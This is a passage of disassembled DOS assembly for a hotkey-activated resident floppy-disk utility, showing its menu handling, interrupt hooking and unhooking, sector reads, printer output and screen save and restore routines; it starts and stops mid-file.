ds,cs:data_25 + mov bx,keybd_flags_1_ + mov ah,[bx] + and ah,0Fh + cmp ah,0Bh + jne loc_36 ; Jump if not equal + test byte ptr cs:[22Eh],0C0h + jz loc_35 ; Jump if zero + test byte ptr cs:[22Eh],40h ; '@' + jz loc_36 ; Jump if zero + or byte ptr cs:[22Eh],20h ; ' ' + jmp short loc_36 + db 90h +loc_35: + or byte ptr cs:[22Eh],80h +loc_36: + mov ax,word ptr cs:[1F6h] + mov ds,word ptr cs:[1F8h] + mov bx,word ptr cs:[1FAh] + jmp dword ptr cs:[199h] + db 2Eh, 80h, 3Eh, 2Fh, 02h, 00h + db 74h, 0Dh, 2Eh,0C6h, 06h, 2Fh + db 02h, 00h, 50h,0B0h, 66h,0E6h + db 20h, 58h,0CFh +loc_37: + jmp dword ptr cs:[19Dh] + test dl,80h + jnz loc_38 ; Jump if not zero + test byte ptr cs:[22Eh],40h ; '@' + jz loc_38 ; Jump if zero + mov word ptr cs:[1EAh],ax + pop ax + pop ax + pop ax + or ax,1 + push ax + sub sp,4 + mov ax,word ptr cs:[1EAh] + mov ah,80h + iret ; Interrupt return +sub_2 endp + + +; +; SUBROUTINE +; + +sub_6 proc near +loc_38: + jmp dword ptr cs:[1A1h] + mov byte ptr ds:[22Eh],40h ; '@' + call sub_28 + jnc loc_40 ; Jump if carry=0 + clc ; Clear carry flag +loc_39: + call sub_11 + jmp loc_121 +loc_40: + mov ds,data_25 + test byte ptr ds:dsk_motor_stat_,0Fh + push cs + pop ds + jnz loc_39 ; Jump if not zero + call sub_22 + call sub_23 +loc_41: + mov ax,55Ch + mov cs:data_93,ax + call sub_21 + mov data_112,70h ; 'p' + call sub_27 + call sub_13 +loc_42: + mov ah,0 + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + cmp al,1Bh + je loc_48 ; Jump if equal + cmp al,0Dh + je loc_49 ; Jump if equal + cmp ah,48h ; 'H' + je loc_50 ; Jump if equal + cmp ah,50h ; 'P' + je loc_53 ; Jump if equal + and al,0DFh + cmp al,50h ; 'P' + je loc_43 ; Jump if equal + cmp al,52h ; 'R' + je loc_47 ; Jump if equal + cmp al,45h ; 'E' + je loc_48 ; Jump if equal + cmp al,53h ; 'S' + je loc_44 ; Jump if equal + cmp al,46h ; 'F' + je loc_45 ; Jump if equal + cmp al,54h ; 'T' + je loc_46 ; Jump if equal + call sub_11 + jmp short loc_42 +loc_43: + jmp loc_137 +loc_44: + jmp short loc_55 + db 90h +loc_45: + jmp loc_145 +loc_46: + jmp loc_149 +loc_47: + jmp loc_151 +loc_48: + jmp loc_154 +loc_49: + mov al,3 + mul data_107 ; ax = data * al + add ax,offset loc_43 + jmp ax ;*Register jump +loc_50: + mov data_112,1Fh + call sub_27 + cmp data_107,0 + je loc_52 ; Jump if equal + dec data_107 + sub data_110,3 +loc_51: + mov data_112,70h ; 'p' + call sub_27 + jmp short loc_42 +loc_52: + mov data_107,5 + mov data_110,15h + jmp short loc_51 +loc_53: + mov data_112,1Fh + call sub_27 + cmp data_107,5 + je loc_54 ; Jump if equal + inc data_107 + add data_110,3 + jmp short loc_51 +loc_54: + mov data_107,0 + mov data_110,6 + jmp short loc_51 +loc_55: + call sub_19 + mov data_190,3120h + cmp data_28,1 + jne loc_56 ; Jump if not equal + mov data_29,0 + jmp short loc_60 + db 90h +loc_56: + mov dh,0Dh + mov dl,18h + mov si,232h + call sub_14 + call sub_13 + mov ah,0 + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + cmp al,1Bh + jne loc_57 ; Jump if not equal + jmp loc_41 +loc_57: + cmp al,0Dh + je loc_60 ; Jump if equal + and al,0DFh + sub al,41h ; 'A' + jge loc_59 ; Jump if > or = +loc_58: + call sub_11 + jmp short loc_55 +loc_59: + cmp al,data_28 + jge loc_58 ; Jump if > or = + mov data_29,al + add al,41h ; 'A' + mov byte ptr ds:[24Eh],al ; ('A') + mov data_183,al + mov data_188,al +loc_60: + call sub_19 + call sub_37 + test byte ptr [bx],1 + jz loc_63 ; Jump if zero + mov dh,10h + mov dl,14h + test byte ptr [bx],2 + jnz loc_61 ; Jump if not zero + mov si,251h + jmp short loc_62 + db 90h +loc_61: + mov si,27Eh +loc_62: + call sub_14 + call sub_13 + mov al,31h ; '1' + mov data_102,al + mov al,[si-3] + mov data_103,al + mov data_89,1331h + call sub_16 + and byte ptr [si-3],0FEh + or [si-3],al + xor al,1 + xor data_31,ax +loc_63: + mov ax,data_31 + call sub_39 +loc_64: + call sub_20 + mov dh,0Bh + mov dl,14h + mov si,2ABh + call sub_14 + call sub_38 + cmp data_101,0 + je loc_69 ; Jump if equal + mov ax,word ptr ds:[137h] + mov bx,ax + cmp data_101,1 + jne loc_65 ; Jump if not equal + xchg bh,bl + xor bl,bl ; Zero register + sub al,30h ; '0' + jmp short loc_67 + db 90h +loc_65: + sub al,27h ; ''' + cmp al,0Ah + jg loc_64 ; Jump if > + jz loc_66 ; Jump if zero + xor al,al ; Zero register +loc_66: + sub ah,30h ; '0' + add al,ah + cmp al,0Bh + jg loc_64 ; Jump if > +loc_67: + cmp al,0 + je loc_64 ; Jump if equal + mov data_96,al + or bl,20h ; ' ' + cmp bl,30h ; '0' + jne loc_68 ; Jump if not equal + mov bl,20h ; ' ' +loc_68: + mov data_191,bx + mov data_182,bx +loc_69: + mov data_100,0F5h + mov data_95,0 + mov data_99,0 + call sub_20 + mov dh,0Ah + mov dl,18h + mov si,2DAh + call sub_14 + mov dh,0Ch + mov dl,13h + mov si,2FBh + call sub_14 + call sub_13 +loc_70: + mov ah,0 + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + cmp al,0Dh + je loc_72 ; Jump if equal + cmp al,1Bh + jne loc_71 ; Jump if not equal + jmp loc_41 +loc_71: + call sub_11 + jmp short loc_70 +loc_72: + mov data_82,1525h + cli ; Disable interrupts + pushf ; Push flags + push cs + mov ax,201h + mov bx,28E9h + mov cx,1 + mov dl,data_29 + xor dh,dh ; Zero register + call sub_6 + jnc loc_78 ; Jump if carry=0 + clc ; Clear carry flag + test ah,80h + jz loc_78 ; Jump if zero + call sub_11 + xor cx,cx ; Zero register + +locloop_73: + loop locloop_73 ; Loop if cx > 0 + + call sub_11 + call sub_56 + call sub_20 + mov dh,0Ah + mov dl,20h ; ' ' + mov si,3DAh + call sub_14 +loc_74: + mov dh,0Eh + mov dl,20h ; ' ' + mov si,40Fh + call sub_14 + call sub_13 +loc_75: + mov ah,0 + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + cmp al,1Bh + je loc_77 ; Jump if equal + and al,0DFh + cmp al,52h ; 'R' + jne loc_76 ; Jump if not equal + jmp data_82 +loc_76: + cmp al,41h ; 'A' + je loc_77 ; Jump if equal + call sub_11 + jmp short loc_75 +loc_77: + jmp loc_135 +loc_78: + call sub_24 + call sub_61 + or byte ptr ds:[22Eh],80h + cli ; Disable interrupts + call sub_7 +loc_79: + call sub_52 + call sub_60 + mov data_82,1596h + call sub_64 + test data_73,0C0h + jz loc_80 ; Jump if zero + call sub_64 + test data_73,0C0h + jz loc_80 ; Jump if zero + jmp loc_123 +loc_80: + call sub_74 + test data_73,0C0h + jz loc_81 ; Jump if zero + jmp short loc_83 + db 90h +loc_81: + cmp byte ptr ds:[230h],0 + je loc_82 ; Jump if equal + mov ax,word ptr ds:[243Dh] + cmp data_218,ax + jne loc_82 ; Jump if not equal + mov ax,word ptr ds:[243Fh] + cmp data_219,ax + jne loc_82 ; Jump if not equal + jmp loc_117 +loc_82: + cmp byte ptr data_214,0EBh + jne loc_83 ; Jump if not equal + cmp data_217,200h + jne loc_83 ; Jump if not equal + mov data_84,1626h + jmp short loc_84 + db 90h +loc_83: + mov data_84,1623h +loc_84: + call sub_77 + jnc loc_85 ; Jump if carry=0 + jmp loc_123 +loc_85: + test al,40h ; '@' + jz loc_87 ; Jump if zero +loc_86: + mov data_62,3 + jmp loc_125 +loc_87: + mov byte ptr ds:[230h],0 +loc_88: + mov data_82,161Fh +loc_89: + jmp data_84 + call sub_78 + mov data_68,28E9h + mov ax,word ptr data_60 + mov data_67,ax + mov data_69,42h ; 'B' + mov data_70,0E6h + mov data_85,27F1h + call sub_75 + test data_73,0C0h + jz loc_95 ; Jump if zero + test data_74,20h ; ' ' + jz loc_90 ; Jump if zero + cmp data_94,2 + je loc_93 ; Jump if equal + inc data_94 + jmp short loc_91 + db 90h +loc_90: + mov data_94,0 +loc_91: + call sub_65 + test data_73,0C0h + jz loc_92 ; Jump if zero + jmp loc_123 +loc_92: + mov data_84,1623h + jmp short loc_88 +loc_93: + mov data_94,0 + cmp data_65,0 + jne loc_94 ; Jump if not equal + jmp loc_105 +loc_94: + call sub_51 +loc_95: + cmp data_64,0 + jne loc_97 ; Jump if not equal + mov data_64,1 +loc_96: + jmp short loc_89 +loc_97: + call sub_9 + mov data_82,161Fh + mov data_64,0 + inc data_65 + inc data_63 + cmp data_31,0 + jne loc_98 ; Jump if not equal + inc data_63 +loc_98: + call sub_46 + cmp data_63,50h ; 'P' + jge loc_99 ; Jump if > or = + call sub_63 + test data_73,0C0h + jz loc_96 ; Jump if zero + call sub_65 + test data_73,0C0h + jz loc_96 ; Jump if zero + jmp short loc_100 + db 90h +loc_99: + mov data_65,0 + mov data_63,0 + mov data_66,1 + mov data_64,0 + mov data_59,0 + call sub_63 + test data_73,0C0h + jz loc_101 ; Jump if zero + call sub_65 + test data_73,0C0h + jz loc_101 ; Jump if zero +loc_100: + mov data_62,40h ; '@' + jmp loc_125 +loc_101: + mov data_82,1712h + call sub_78 + cmp data_64,1 + je loc_102 ; Jump if equal + mov data_64,1 + jmp short loc_101 +loc_102: + call sub_52 + mov ds,data_25 + mov ax,word ptr ds:timer_low_+1 + push cs + pop ds + mov word ptr ds:[243Dh],ax +loc_103: + mov data_82,1738h + mov data_64,0 + mov data_68,2416h + mov data_67,1FFh + mov data_69,4Ah ; 'J' + mov data_70,0C5h + mov data_85,27F1h + call sub_75 + test data_73,0C0h + jz loc_106 ; Jump if zero + test data_74,2 + jz loc_104 ; Jump if zero + jmp loc_86 +loc_104: + cmp data_94,0 + jne loc_105 ; Jump if not equal + inc data_94 + call sub_65 + test data_73,0C0h + jz loc_103 ; Jump if zero + jmp loc_123 +loc_105: + mov data_62,20h ; ' ' + jmp loc_125 +loc_106: + call sub_53 + mov byte ptr ds:[21Ah],2 + mov al,byte ptr ds:[242Bh] + mov data_214,al + mov data_215,0FFFFh + mov word ptr ds:[223h],0 + mov word ptr ds:[21Fh],0 + mov word ptr ds:[212h],139h +loc_107: + mov cx,80h + mov si,word ptr ds:[212h] +loc_108: + mov word ptr ds:[218h],cx + mov word ptr ds:[214h],si + call sub_55 + sub ax,word ptr ds:[21Fh] + test cx,[si] + jz loc_113 ; Jump if zero + cmp ax,200h + jl loc_109 ; Jump if < + mov word ptr ds:[21Bh],ax + call sub_49 + call sub_53 + call sub_50 + mov ax,word ptr ds:[21Bh] + sub ax,200h +loc_109: + mov di,offset data_214 + add di,ax + mov al,data_56 + cbw ; Convrt byte to word + cmp al,9 + jne loc_110 ; Jump if not equal + clc ; Clear carry flag + rcr ax,1 ; Rotate thru carry + adc ax,0 +loc_110: + mov cx,ax + mov si,word ptr ds:[229h] +loc_111: + mov bx,225h + mov ax,[bx+si] + mov bx,[di] + or ax,bx + cld ; Clear direction + stosw ; Store ax to es:[di] + xor si,2 + nop ;*ASM fixup - sign extn byte + jz loc_112 ; Jump if zero + dec di +loc_112: + dec cx + jnz loc_111 ; Jump if not zero + mov word ptr ds:[21Dh],di + jmp short loc_114 + db 90h +loc_113: + cmp ax,200h + jl loc_114 ; Jump if < + call sub_49 + call sub_53 + call sub_50 +loc_114: + mov word ptr ds:[21Bh],ax + mov al,data_56 + cbw ; Convrt byte to word + add word ptr ds:[223h],ax + mov ax,word ptr ds:[21Bh] + mov cx,word ptr ds:[218h] + mov si,word ptr ds:[214h] + shr cx,1 ; Shift w/zeros fill + jz loc_115 ; Jump if zero + jmp loc_108 +loc_115: + inc word ptr ds:[212h] + mov ax,word ptr ds:[212h] + cmp ax,word ptr ds:[216h] + je loc_116 ; Jump if equal + jmp loc_107 +loc_116: + call sub_49 + call sub_54 + mov di,data_100 + mov ax,word ptr ds:[243Fh] + xchg ah,al + cld ; Clear direction + stosw ; Store ax to es:[di] + mov ax,word ptr ds:[243Dh] + xchg ah,al + stosw ; Store ax to es:[di] + mov ax,word ptr data_98 + stosw ; Store ax to es:[di] + mov data_100,di + inc data_95 + inc data_99 + call sub_12 + mov al,data_96 + cmp data_95,al + je loc_119 ; Jump if equal +loc_117: + mov byte ptr ds:[230h],1 + mov ds,data_25 + mov byte ptr ds:dsk_motor_tmr_,2 + push cs + pop ds + mov data_92,3AAh + call sub_45 + mov cx,88h + +locloop_118: + call sub_7 + call sub_9 + mov cx,word ptr ds:[22Bh] + mov data_82,1596h + loop locloop_118 ; Loop if cx > 0 + + jmp loc_79 +loc_119: + mov data_92,3C2h + call sub_45 + mov data_107,2 + mov data_110,0Ch +loc_120: + mov data_81,130Dh + mov byte ptr ds:[230h],0 + call sub_8 +loc_121: + and byte ptr ds:[22Eh],0 + mov sp,2B84h + mov ax,202h + push ax + push cs + mov ax,data_81 + push ax + mov word ptr cs:[1DCh],sp +loc_122: + mov ss,word ptr ds:[20Eh] + mov sp,word ptr ds:[208h] + mov es,word ptr ds:[210h] + mov bp,word ptr ds:[20Ah] + mov si,word ptr ds:[204h] + mov di,word ptr ds:[206h] + mov ax,word ptr ds:[1FCh] + mov bx,word ptr ds:[1FEh] + mov cx,word ptr ds:[200h] + mov dx,word ptr ds:[202h] + mov ds,word ptr ds:[20Ch] + iret ; Interrupt return +loc_123: + mov byte ptr ds:[22Fh],0 + mov dx,3F2h + mov al,8 + out dx,al ; port 3F2h, dsk0 contrl output + cmp byte ptr ds:[230h],0 + je loc_124 ; Jump if equal + jmp loc_117 +loc_124: + mov data_62,80h +loc_125: + mov data_92,3B6h + call sub_45 + call sub_12 + mov byte ptr ds:[22Dh],6 + call sub_7 + call sub_12 + call sub_8 + mov data_81,195Dh + jmp short loc_121 +sub_6 endp + +loc_126: + and byte ptr cs:[22Eh],7Fh + call sub_28 + jnc loc_128 ; Jump if carry=0 + clc ; Clear carry flag + call sub_11 + test byte ptr ds:[22Eh],20h ; ' ' + jnz loc_127 ; Jump if not zero + jmp loc_121 +loc_127: + jmp loc_120 +loc_128: + call sub_22 + call sub_23 + call sub_56 + call sub_20 + cmp data_62,80h + je loc_129 ; Jump if equal + cmp data_62,3 + je loc_132 ; Jump if equal + cmp data_62,40h ; '@' + je loc_131 ; Jump if equal + cmp data_62,20h ; ' ' + je loc_130 ; Jump if equal + mov dh,0Ah + mov dl,1Eh + mov si,441h + call sub_14 + jmp short loc_133 + db 90h +loc_129: + mov dh,0Ah + mov dl,20h ; ' ' + mov si,3DAh + call sub_14 + jmp short loc_133 + db 90h +loc_130: + mov dh,0Ah + mov dl,18h + mov si,420h + call sub_14 + jmp short loc_133 + db 90h +loc_131: + mov dh,0Ah + mov dl,22h ; '"' + mov si,402h + call sub_14 + jmp short loc_133 + db 90h +loc_132: + mov dh,0Ah + mov dl,1Dh + mov si,3EBh + call sub_14 +loc_133: + mov dh,0Eh + mov dl,20h ; ' ' + mov data_62,0 + mov si,40Fh + call sub_14 + call sub_13 +loc_134: + mov ah,0 + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + cmp al,1Bh + je loc_135 ; Jump if equal + and al,0DFh + cmp al,52h ; 'R' + je loc_136 ; Jump if equal + cmp al,41h ; 'A' + je loc_135 ; Jump if equal + call sub_11 + jmp short loc_134 +loc_135: + call sub_24 + mov data_107,0 + mov data_110,6 + jmp loc_120 +loc_136: + call sub_24 + cli ; Disable interrupts + mov byte ptr ds:[22Eh],0C0h + call sub_7 + call sub_65 + mov cx,5 + jmp data_82 +loc_137: + call sub_19 + mov dh,0Dh + mov dl,15h + mov si,457h + call sub_14 + call sub_13 +loc_138: + mov ah,0 + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + cmp al,1Bh + je loc_144 ; Jump if equal + cmp al,0Dh + je loc_139 ; Jump if equal + call sub_11 + jmp short loc_138 +loc_139: + call sub_19 + mov dh,0Dh + mov dl,21h ; '!' + mov si,47Fh + call sub_14 + call sub_13 + mov bp,0A2Bh +loc_140: + mov ah,2 + xor dx,dx ; Zero register + int 17h ; Printer dx=prn1, ah=func 02h + ; read status, ah=return status + test ah,10h + jz loc_143 ; Jump if zero + mov al,[bp] + cmp al,0 + je loc_144 ; Jump if equal + xor ah,ah ; Zero register + xor dx,dx ; Zero register + int 17h ; Printer dx=prn1, ah=func 00h + ; print char al, get status ah + test ah,29h ; ')' + jnz loc_141 ; Jump if not zero + inc bp + jmp short loc_140 +loc_141: + call sub_19 + mov dh,0Ch + mov dl,23h ; '#' + mov si,48Dh +loc_142: + call sub_14 + mov data_82,1A2Eh + jmp loc_74 +loc_143: + call sub_19 + mov dh,0Ch + mov dl,1Eh + mov si,499h + jmp short loc_142 +loc_144: + jmp loc_41 +loc_145: + cmp data_95,0 + jne loc_147 ; Jump if not equal + call sub_19 + mov dh,0Dh + mov dl,20h ; ' ' + mov si,38Dh + call sub_14 +loc_146: + mov dh,0Fh + mov dl,16h + mov si,368h + call sub_14 + call sub_13 + jmp short loc_148 + db 90h +loc_147: + mov ax,838h + mov cs:data_93,ax + call sub_21 + call sub_31 +loc_148: + mov ah,0 + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + mov data_107,5 + mov data_110,15h + jmp loc_41 +loc_149: + cmp data_187,6666h + je loc_150 ; Jump if equal + mov data_187,6666h + jmp loc_41 +loc_150: + mov data_187,206Eh + jmp loc_41 +loc_151: + mov ax,11E0h + mov di,20h ; (' ') + call sub_30 + jc loc_152 ; Jump if carry Set + mov ax,12E6h + mov di,offset data_42 + call sub_30 + jc loc_152 ; Jump if carry Set + mov ax,12CCh + mov di,offset data_38 + call sub_30 + jc loc_152 ; Jump if carry Set + mov ax,127Ah + mov di,24h ; (' ') + call sub_30 + jnc loc_153 ; Jump if carry=0 +loc_152: + clc ; Clear carry flag + call sub_19 + mov dh,0Ch + mov dl,8 + mov si,327h + call sub_14 + jmp loc_146 +loc_153: + xor ax,ax ; Zero register + mov word ptr data_24,ax + mov si,offset 195h + mov di,20h ; (' ') + call sub_29 + mov si,offset 199h + mov di,24h ; (' ') + call sub_29 + mov si,offset 19Dh + mov di,offset data_38 + call sub_29 + mov si,offset 1A1h + mov di,offset data_42 + call sub_29 + mov es,data_26 + mov di,data_2e + xor ax,ax ; Zero register + stosw ; Store ax to es:[di] + mov es,data_27 + mov di,data_2e + xor ax,ax ; Zero register + stosw ; Store ax to es:[di] + push cs + pop es + call sub_24 + call sub_7 +loc_154: + mov data_107,0 + mov data_110,6 + call sub_24 + jmp loc_121 + +; +; SUBROUTINE +; + +sub_7 proc near + add byte ptr ds:[22Dh],1 + cli ; Disable interrupts + mov word ptr ds:[1D0h],ax + pop ax + pushf ; Push flags + push cs + push ax + mov word ptr ds:[1DCh],sp + mov word ptr ds:[1D2h],bx + mov word ptr ds:[1DAh],ss + mov word ptr ds:[1E2h],ds + mov word ptr ds:[1E4h],es + mov word ptr ds:[1E0h],bp + mov word ptr ds:[1D8h],si + mov word ptr ds:[1DEh],di + mov word ptr ds:[1D4h],cx + mov word ptr ds:[1D6h],dx + jmp loc_122 +sub_7 endp + + +; +; SUBROUTINE +; + +sub_8 proc near + mov al,data_29 + cbw ; Convrt byte to word + mov di,ax + mov ds,data_25 + and byte ptr ds:hdsk0_media_st_[di],0EFh + mov byte ptr ds:dsk_motor_tmr_,2 + mov byte ptr ds:dsk_recal_stat_,0 + push cs + pop ds + retn +sub_8 endp + + +; +; SUBROUTINE +; + +sub_9 proc near + mov word ptr ds:[22Bh],cx + test byte ptr ds:[22Eh],20h ; ' ' + jz loc_ret_155 ; Jump if zero + pop ax + mov data_82,ax + jmp loc_126 + +loc_ret_155: + retn +sub_9 endp + + +; +; SUBROUTINE +; + +sub_10 proc near + mov ah,0Eh + mov bh,0 + int 10h ; Video display ah=functn 0Eh + ; write char al, teletype mode + retn +sub_10 endp + + +; +; SUBROUTINE +; + +sub_11 proc near + push ax + push bx + mov al,7 + call sub_10 + pop bx + pop ax + retn +sub_11 endp + + +; +; SUBROUTINE +; + +sub_12 proc near + call sub_7 + mov al,0B6h + out 43h,al ; port 43h, 8253 wrt timr mode + mov ax,180h + out 42h,al ; port 42h, 8253 timer 2 spkr + mov al,ah + out 42h,al ; port 42h, 8253 timer 2 spkr + in al,61h ; port 61h, 8255 port B, read + or al,3 + out 61h,al ; port 61h, 8255 B - spkr, etc + call sub_7 + in al,61h ; port 61h, 8255 port B, read + and al,0FCh + out 61h,al ; port 61h, 8255 B - spkr, etc + ; al = 0, disable parity + retn +sub_12 endp + + +; +; SUBROUTINE +; + +sub_13 proc near + mov ah,2 + mov dx,2000h + mov bh,data_104 + int 10h ; Video display ah=functn 02h + ; set cursor location in dx + retn +sub_13 endp + + +; +; SUBROUTINE +; + +sub_14 proc near + mov ah,2 + mov bh,0 + int 10h ; Video display ah=functn 02h + ; set cursor location in dx + call sub_15 + retn +sub_14 endp + + +; +; SUBROUTINE +; + +sub_15 proc near +loc_156: + cld ; Clear direction + lodsb ; String [si] to al + cmp al,0 + je loc_ret_157 ; Jump if equal + mov ah,0Eh + mov bh,0 + int 10h ; Video display ah=functn 0Eh + ; write char al, teletype mode + jmp short loc_156 + +loc_ret_157: + retn +sub_15 endp + + +; +; SUBROUTINE +; + +sub_16 proc near +loc_158: + mov ah,0 + int 16h ; Keyboard i/o ah=function 00h + ; get keybd char in al, ah=scan + cmp al,1Bh + jne loc_159 ; Jump if not equal + pop ax + jmp data_89 +loc_159: + cmp al,0Dh + jne loc_160 ; Jump if not equal + mov al,data_103 + jmp short loc_161 + db 90h +loc_160: + cmp al,30h ; '0' + jl loc_162 ; Jump if < + cmp al,data_102 + jg loc_162 ; Jump if > +loc_161: + and ax,7 + retn +loc_162: + call sub_11 + jmp short loc_158 +sub_16 endp + + +; +; SUBROUTINE +; + +sub_17 proc near + mov cx,0FA0h + shr cx,1 ; Shift w/zeros fill + cld ; Clear direction + lodsb ; String [si] to al + inc si + xchg ah,al +loc_163: + lodsb ; String [si] to al + dec cx + jz loc_165 ; Jump if zero + inc si + cmp ah,al + jne loc_164 ; Jump if not equal + inc bx + jmp short loc_163 +loc_164: + call sub_26 + jmp short loc_163 +loc_165: + call sub_26 + retn +sub_17 endp + + +; +; SUBROUTINE +; + +sub_18 proc near + push ds + push es + mov si,data_1e + mov di,data_16e + mov bx,0 + mov ds,cs:data_91 + mov es,cs:data_91 + call sub_17 + mov si,data_2e + mov bx,0 + call sub_17 + pop es + pop ds + retn +sub_18 endp + + +; +; SUBROUTINE +; + +sub_19 proc near + mov ax,4ADh + mov data_93,ax + call sub_21 + retn +sub_19 endp + + +; +; SUBROUTINE +; + +sub_20 proc near + mov ax,6F7h + mov data_93,ax + call sub_21 + retn +sub_20 endp + + +; +; SUBROUTINE +; + +sub_21 proc near + push cx + push dx + push si + push di + push ax + xor di,di ; Zero register + mov si,cs:data_93 +loc_166: + lodsb ; String [si] to al + cmp al,1 + jne loc_169 ; Jump if not equal + lodsw ; String [si] to ax + mov cx,ax + test cl,80h + jz loc_167 ; Jump if zero + xchg ch,cl + and cx,7FFFh + lodsb ; String [si] to al + jmp short locloop_168 + db 90h +loc_167: + xchg al,ah + and cx,7Fh + +locloop_168: + call sub_25 + loop locloop_168 ; Loop if cx > 0 + + jmp short loc_170 + db 90h +loc_169: + call sub_25 +loc_170: + cmp di,0FA0h + jl loc_166 ; Jump if < + jnz loc_171 ; Jump if not zero + mov di,1 + jmp short loc_166 +loc_171: + pop ax + pop di + pop si + pop dx + pop cx + retn +sub_21 endp + + +; +; SUBROUTINE +; + +sub_22 proc near + push ds + mov ds,data_91 + mov si,data_4e + mov di,offset data_115 + mov cx,7 + cld ; Clear direction + repe cmpsw ; Rep zf=1+cx >0 Cmp [si] to es:[di] + pop ds + cmp cx,0 + jne loc_ret_172 ; Jump if not equal + mov data_92,0D5h + call sub_44 + +loc_ret_172: + retn +sub_22 endp + + +; +; SUBROUTINE +; + +sub_23 proc near + mov ah,0Fh + int 10h ; Video display ah=functn 0Fh + ; get state, al=mode, bh=page + ; ah=columns on screen + mov ah,3 + int 10h ; Video display ah=functn 03h + ; get cursor loc in dx, mode cx + mov data_104,bh + mov data_105,cx + mov data_106,dx + call sub_18 + retn +sub_23 endp + + +; +; SUBROUTINE +; + +sub_24 proc near + mov data_93,1000h + mov ax,data_91 + push ds + mov ds,ax + call sub_21 + pop ds + mov bh,data_104 + mov dx,data_106 + mov ah,2 + int 10h ; Video display ah=functn 02h + ; set cursor location in dx + mov ah,1 + mov cx,data_105 + int 10h ; Video display ah=functn 01h + ; set cursor mode in cx + retn +sub_24 endp + + +; +; SUBROUTINE +; + +sub_25 proc near + push es + mov es,cs:data_91 + mov dx,cs:data_90 + cli ; Disable interrupts + push ax +loc_173: + in al,dx ; port 0, DMA-1 bas&add ch 0 + test al,1 + jnz loc_173 ; Jump if not zero +loc_174: + in al,dx ; port 0, DMA-1 bas&add ch 0 + test al,1 + jz loc_174 ; Jump if zero + pop ax + mov es:[di],al + sti ; Enable interrupts + inc di + inc di + pop es + retn +sub_25 endp + + +; +; SUBROUTINE +; + +sub_26 proc near + cmp ah,1 + je loc_175 ; Jump if equal + cmp bx,0 + je loc_178 ; Jump if equal + cmp bx,1 + jne loc_175 ; Jump if not equal + xor bx,bx ; Zero register + xchg ah,al + stosb ; Store al to es:[di] + jmp short loc_179 + db 90h +loc_175: + push ax + inc bx + mov al,1 + stosb ; Store al to es:[di] + mov ax,bx + and bx,0FF80h + nop ;*ASM fixup - sign extn byte + jz loc_176 ; Jump if zero + or ax,8000h + xchg ah,al + stosw ; Store ax to es:[di] + jmp short loc_177 + db 90h +loc_176: + stosb ; Store al to es:[di] +loc_177: + xor bx,bx ; Zero register + pop ax +loc_178: + xchg ah,al +loc_179: + stosb ; Store al to es:[di] + retn +sub_26 endp + + +; +; SUBROUTINE +; + +sub_27 proc near + mov al,data_110 + mul data_111 ; ax = data * al + add ax,3Dh + mov di,ax + mov al,data_112 + mov cl,15h +loc_180: + call sub_25 + dec cl + cmp cl,0 + jne loc_180 ; Jump if not equal + retn +sub_27 endp + + +; +; SUBROUTINE +; + +sub_28 proc near + mov ds,data_25 + cmp byte ptr ds:video_mode_,7 + je loc_183 ; Jump if equal + cmp byte ptr ds:video_mode_,2 + je loc_182 ; Jump if equal + cmp byte ptr ds:video_mode_,3 + je loc_182 ; Jump if equal +loc_181: + push cs + pop ds + stc ; Set carry flag + retn +loc_182: + push cs + pop ds + clc ; Clear carry flag + retn +loc_183: + mov ds,cs:data_91 + xor si,si ; Zero register + mov cx,50h + xor bx,bx ; Zero register + cld ; Clear direction + +locloop_184: + lodsw ; String [si] to ax + cmp ah,al + jne loc_185 ; Jump if not equal + inc bx +loc_185: + loop locloop_184 ; Loop if cx > 0 + + cmp bx,0Ah + jg loc_181 ; Jump if > + jmp short loc_182 +sub_28 endp + + +; +; SUBROUTINE +; + +sub_29 proc near + mov cx,2 + mov es,data_25 + cld ; Clear direction + cli ; Disable interrupts + rep movsw ; Rep when cx >0 Mov [si] to es:[di] + sti ; Enable interrupts + retn +sub_29 endp + + +; +; SUBROUTINE +; + +sub_30 proc near + clc ; Clear carry flag + mov word ptr ds:[1F0h],es + mov es,data_25 + cmp ax,es:[di] + jne loc_186 ; Jump if not equal + push cs + pop ax + cmp ax,es:[di+2] + je loc_187 ; Jump if equal +loc_186: + stc ; Set carry flag +loc_187: + mov es,word ptr ds:[1F0h] + retn +sub_30 endp + + +; +; SUBROUTINE +; + +sub_31 proc near + mov data_100,0F5h + mov data_97,9 + mov data_95,1 +loc_188: + mov al,data_95 + cbw ; Convrt byte to word + mov word ptr ds:[1A9h],0 + mov word ptr ds:[1ABh],ax + call sub_32 + mov dh,byte ptr ds:[1AFh] + mov dl,7 + sub dl,dh + mov dh,data_97 + mov si,0EDh + call sub_14 + mov si,data_100 + mov di,3A0h + cld ; Clear direction + call sub_35 + inc di + call sub_35 + mov data_100,si + mov dh,data_97 + mov dl,14h + mov si,3A0h + call sub_14 + mov si,data_100 + lodsw ; String [si] to ax + mov word ptr data_98,ax + mov data_100,si + mov word ptr ds:[1A9h],0 + mov word ptr ds:[1ABh],ax + call sub_32 + mov dh,byte ptr ds:[1AFh] + mov dl,2Dh ; '-' + sub dl,dh + mov dh,data_97 + mov si,0EDh + call sub_14 + mov bl,50h ; 'P' + xor bh,bh ; Zero register + cmp data_31,0 + jne loc_189 ; Jump if not equal + shr bx,1 ; Shift w/zeros fill +loc_189: + dec bx + mov ax,2 + mul bx ; dx:ax = reg * ax + mov bl,data_56 + xor bh,bh ; Zero register + mul bx ; dx:ax = reg * ax + mov bl,data_53 + add ax,bx + mov bx,word ptr data_98 + cmp byte ptr ds:[2423h],1 + je loc_190 ; Jump if equal + shl bx,1 ; Shift w/zeros fill +loc_190: + sub ax,bx + mov bx,200h + mul bx ; dx:ax = reg * ax + mov word ptr ds:[1A9h],dx + mov word ptr ds:[1ABh],ax + call sub_32 + mov dh,byte ptr ds:[1AFh] + mov dl,44h ; 'D' + sub dl,dh + mov dh,data_97 + mov si,0EDh + call sub_14 + mov al,data_99 + cmp data_95,al + jne loc_191 ; Jump if not equal + call sub_13 + retn +loc_191: + inc data_95 + inc data_97 + jmp loc_188 +sub_31 endp + + +; +; SUBROUTINE +; + +sub_32 proc near + mov 